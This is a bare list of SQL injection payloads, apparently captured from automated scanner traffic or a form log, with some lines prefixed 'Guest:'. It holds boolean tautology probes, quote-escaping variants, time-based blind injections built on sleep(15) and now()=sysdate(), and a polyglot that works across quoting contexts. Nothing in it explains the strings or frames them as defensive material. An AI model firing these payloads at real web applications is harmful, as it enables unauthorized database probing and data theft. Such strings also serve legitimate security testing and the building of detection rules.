-1 OR 5*5=25 --

-1 OR 5*5=25

-1' OR 5*5=25 --

-1" OR 5*5=25 --

-1' OR 5*5=25 or 'yB0OKCHA'='

-1" OR 5*5=25 or "33z4AUSD"="

if(now()=sysdate(),sleep(15),0)

Guest:
-1 OR 2+877-877-1=0+0+0+1 -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
-1 OR 2+877-877-1=0+0+0+1 -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/